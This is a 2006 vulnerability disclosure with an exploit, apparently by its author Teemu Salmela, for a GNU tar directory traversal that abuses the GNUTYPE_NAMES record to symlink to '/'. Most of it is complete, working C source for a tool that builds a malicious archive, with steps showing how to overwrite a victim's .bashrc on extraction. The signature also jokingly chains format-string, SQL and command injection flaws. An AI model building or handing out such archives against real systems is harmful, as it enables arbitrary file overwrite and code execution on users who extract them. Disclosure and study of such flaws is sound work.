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gnutar.txt

Posted on 22 November 2006

GNU tar directory traversal
----------------------------------------------------------------------------
What is it?
When i download a tar file (warez.tar.gz in this example) from the web and
run the following commands:

$ mkdir ~/warez
$ tar xzf warez.tar.gz -C ~/warez

, then i would expect that tar doesn't create or replace any files outside
the ~/warez directory. Today, i was browsing the GNU tar source code trying
to find a way to create/overwrite arbitrary files, and i found it!

Normal tar symlinks/hardlinks are handled correctly in GNU tar (i think),
but there is one tar record type, called GNUTYPE_NAMES (this is some kind
of GNU extension, i think), that allows me to create symbolic links
(inside the ~/warez directory, in this example) pointing to arbitrary
locations in the filesystem. In the exploit, i make a sybolic link called
"xyz", pointing to "/". After that record, more records would follow
that extract files to the "xyz" directory.

Version numbers:
----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS, GNU tar 1.16 and GNU tar 1.15.1 (this one
comes with Ubuntu)

Vulnerable code:
----------------------------------------------------------------------------
See extract_archive() in extract.c and extract_mangle() in mangle.c.

Exploit:
----------------------------------------------------------------------------

/*
* tarxyz.c - GNU tar directory traversal exploit.
* Written by Teemu Salmela.
*
* Example usage (creates a tar file that extracts /home/teemu/.bashrc):
*   $ gcc -o tarxyz tarxyz.c
*   $ ./tarxyz > ~/xyz.tar
*   $ mkdir -p /tmp/xyz/home/teemu/
*   $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
*   $ cd /tmp
*   $ tar -rf ~/xyz.tar xyz/home/teemu
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{                               /* byte offset */
char name[100];               /*   0 */
char mode[8];                 /* 100 */
char uid[8];                  /* 108 */
char gid[8];                  /* 116 */
char size[12];                /* 124 */
char mtime[12];               /* 136 */
char chksum[8];               /* 148 */
char typeflag;                /* 156 */
char linkname[100];           /* 157 */
char magic[6];                /* 257 */
char version[2];              /* 263 */
char uname[32];               /* 265 */
char gname[32];               /* 297 */
char devmajor[8];             /* 329 */
char devminor[8];             /* 337 */
char prefix[155];             /* 345 */
/* 500 */
};

#define GNUTYPE_NAMES 'N'

#define BLOCKSIZE       512

union block
{
char buffer[BLOCKSIZE];
struct posix_header header;
};

void
data(void *p, size_t size)
{
size_t n = 0;
char b[BLOCKSIZE];

while (size - n > 512) {
fwrite(&((char *)p)[n], 1, 512, stdout);
n += 512;
}
if (size - n) {
memset(b, 0, sizeof(b));
memcpy(b, &((char *)p)[n], size - n);
fwrite(b, 1, sizeof(b), stdout);
}
}

int
main(int argc, char *argv[])
{
char *link_name = "xyz";
union block b;
char *d;
int i;
unsigned int cksum;

if (argc > 1)
link_name = argv[1];

if (asprintf(&d, "Symlink / to %s
", link_name) < 0) {
fprintf(stderr, "out of memory
");
exit(1);
}
memset(&b, 0, sizeof(b));
strcpy(b.header.name, "xyz");
strcpy(b.header.mode, "0000777");
strcpy(b.header.uid, "0000000");
strcpy(b.header.gid, "0000000");
sprintf(b.header.size, "%011o", strlen(d));
strcpy(b.header.mtime, "00000000000");
strcpy(b.header.chksum, "        ");
b.header.typeflag = GNUTYPE_NAMES;
strcpy(b.header.magic, "ustar  ");
strcpy(b.header.uname, "root");
strcpy(b.header.gname, "root");
for (cksum = 0, i = 0; i < sizeof(b); i++)
cksum += b.buffer[i] & 0xff;
sprintf(b.header.chksum, "%06o ", cksum);
fwrite(&b, 1, sizeof(b), stdout);
data(d, strlen(d));
}

--
fscanf(socket,"%s",buf); printf(buf);
sprintf(query, "SELECT %s FROM table", buf);
sprintf(cmd, "echo %s | sqlquery", query); system(cmd);
Teemu Salmela


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